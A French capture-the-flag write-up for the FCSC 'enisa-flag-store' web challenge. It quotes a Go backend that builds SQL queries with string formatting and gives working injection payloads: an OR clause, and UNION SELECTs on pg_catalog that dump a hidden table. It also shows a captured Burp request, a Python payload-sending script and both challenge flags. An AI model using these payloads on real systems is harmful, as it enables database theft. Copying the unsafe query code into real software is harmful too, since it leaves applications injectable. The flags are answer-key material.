Énoncé 1/2
RĂ©solution
Client-Side
Sur ce challenge Web, le fichier enisa-flag-store.go
nous est donnĂ©. Ce fichier correspond au programme utilisĂ© en backend par le site : enisa-flag-store. Un token nous est aussi fourni afin de crĂ©er un compte correspondant Ă celle de l’Ă©quipe de France. Voyons ce que nous avons cĂ´tĂ© client :
Le client peut ce connecter à son compte et créer un compte. Pour cela il lui faut fournir 4 valeurs :
- un nom d’utilisateur
- un mot de passe
- un token
- un pays
Essayons de crĂ©er un compte avec le token fourni dans l’Ă©nnoncĂ© (ohnah7bairahPh5oon7naqu1caib8euh), en selectionnant la France. Ensuite on se connecte pour voir ce que nous avons :
Server-Side
En fouillant un peu dans le script enisa-flag-store.go
fourni, on se rend compte qu’une SQL injection est possible dans le champ country
lors de l’inscription :
func getData(user User) (
[]Flag,
error,
) {
var flags []Flag
req := fmt.Sprintf(`SELECT ctf, challenge, flag, points
FROM flags WHERE country = '%s';`, user.Country);
rows, err := db.Query(req);
if err != nil {
return flags, err
}
defer rows.Close()
for rows.Next() {
var flag Flag
err = rows.Scan(&flag.CTF, &flag.Challenge, &flag.Flag, &flag.Points)
if err != nil {
return flags, err
}
flags = append(flags, flag)
}
if err = rows.Err(); err != nil {
return flags, err
}
return flags, nil
}
Cependant, la fonction : CheckToken
, vérifie si le token correspond au pays sélectionné :
func CheckToken(country string, token string) (
bool,
) {
stmt, err := db.Prepare(`SELECT id FROM country_tokens
WHERE country = SUBSTR($1, 1, 2)
AND token = encode(digest($2, 'sha1'), 'hex')`)
if err != nil {
log.Fatal(err)
}
t := &Token{}
err = stmt.QueryRow(country, token).Scan(&t.Id)
if err != nil {
return false
}
return true
}
Parcontre, seulement les 2 premiers caractères sont récupéré dans le champ country, pour vérifié si le pays sélectionné correspond au token fourni. On peut donc faire une injection pour avoir accès aux flags suisse grâce au payload : fr' OR country = 'ch
. Cela effectuera la requĂŞte SQL suivante : SELECT ctf, challenge, flag, points FROM flags WHERE country = 'fr' OR country = 'ch';
.
Solution
Il ne nous reste maintenant plus qu’Ă exploiter la faille. On intercepte la requĂŞte HTTP avec burpsuite et on modifie le corps de la requĂŞte POST lors de la crĂ©ation du compte :
POST /signup HTTP/1.1
Host: enisa-flag-store.france-cybersecurity-challenge.fr
Cookie: auth=MTY4Mjg4MzU0NnxEdi1CQkFFQ180SUFBUkFCRUFBQVlQLUNBQU1HYzNSeWFXNW5EQWtBQjJOdmRXNTBjbmtHYzNSeWFXNW5EQUlBQUFaemRISnBibWNNRHdBTllYVjBhR1Z1ZEdsallYUmxaQVJpYjI5c0FnSUFBQVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQUlBQUE9PXxuATdqTM3SJjoAKetvcN7RzaNuw4C_z8LsSEgEbiXuNw==
Content-Length: 83
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="112", "Google Chrome";v="112", "Not:A-Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://enisa-flag-store.france-cybersecurity-challenge.fr
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://enisa-flag-store.france-cybersecurity-challenge.fr/signup
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
username=fayred&password=password&token=ohnah7bairahPh5oon7naqu1caib8euh&country=fr'+OR+country+%3d+'ch
On envoit ça et on se connecte au compte crĂ©Ă©. On se retrouve avec tous les flags de l’Ă©quipe suisse dont le flag pour valider notre challenge :
Flag 1/2 : FCSC{fad3a47d8ded28565aa2f68f6e2dbc37343881ba67fe39c5999a0102c387c34b}
Énoncé 2/2
RĂ©solution
Dans cette deuxième partie, on doit trouver le flag quelque part dans la base de donnée. Pour ce faire il faut connaitre le nom des tables et colonnes présente dans la DB. Je pense donc à information_schema
. J’essai donc une SQLi avec le payload suivant :
fr' UNION SELECT table_name,'a','a',0 FROM information_schema.tables--
.
Cependant le serveur me redirige sur /signup?error=4
qui correspond au message d’erreur : "Text fields are limited to 192 characters."
. En effet la fonction RegisterLoginPassword
retourne ErrFieldTooLong
si le champ country
est trop long. Il faut donc faire autrement. A partir de là pour tester mes payloads plus efficacement, je développe un petit script python :
import requests
import random
import string
register_link = "https://enisa-flag-store.france-cybersecurity-challenge.fr/signup"
while True:
random_cred = "".join(random.choice(string.ascii_letters) for i in range(16))
print(f"RANDOM CRED : {random_cred}")
print("[SQL without injection] : SELECT ctf, challenge, flag, points FROM flags WHERE country = '")
injection = input("SQLI >> ")
print(f"[SQL with injection] : SELECT ctf, challenge, flag, points FROM flags WHERE country = '{injection}")
response = requests.post(register_link, data={
"username": random_cred,
"password": random_cred,
"token": "ohnah7bairahPh5oon7naqu1caib8euh",
"country": injection
}, allow_redirects=False)
print(f"LOCATION : {response.headers['location']}")
print("\n------------------------------------\n")
Grâce au fichier donnĂ© on sait que c’est POSTGRES qui est utilisĂ©. Essayons alors de passer par pg_catalog
. Pour récupérer les tables, envoyons ce payload :
fr' UNION SELECT tablename,'a','a',0 FROM pg_catalog.pg_tables--
:
[SQL without injection] : SELECT ctf, challenge, flag, points FROM flags WHERE country = '
SQLI >> fr' UNION SELECT tablename,'a','a',0 FROM pg_catalog.pg_tables--
[SQL with injection] : SELECT ctf, challenge, flag, points FROM flags WHERE country = 'fr' UNION SELECT tablename,'a','a',0 FROM pg_catalog.pg_tables--
LOCATION : /
On se connecte au compte et on voit toute les tables disponible dont la table : __s3cr4_t4bl3__
Je fais pareil avec le payload fr' UNION SELECT attname,'a','a',0 FROM pg_catalog.pg_attribute--
pour récupérer toutes les colonnes dont ___this_1s_th3_c0lumn_wh3r3_y0u_w1ll_f1nd_y0ur_s3c0nd_fl4g___
. Cependant on ne peut pas prĂ©ciser de rĂ©cupĂ©rer les donnĂ©s de cette colonne pour rĂ©cupĂ©rer le flag. En effet le nom le table est trop long. On peut ce dire qu’il n’y a potentiellement qu’une seul colonne dans la table : __s3cr4_t4bl3__
. Je tente donc le payload : fr' UNION SELECT *,'a','a',0 FROM "__s3cr4_t4bl3__"--
.
On se connecte au compte est on obtient le flag :
Flag 2/2 : FCSC{b505ad2ce3f07c4793fa7269c359736dfbd71286c88de11509a96a77616b35a0}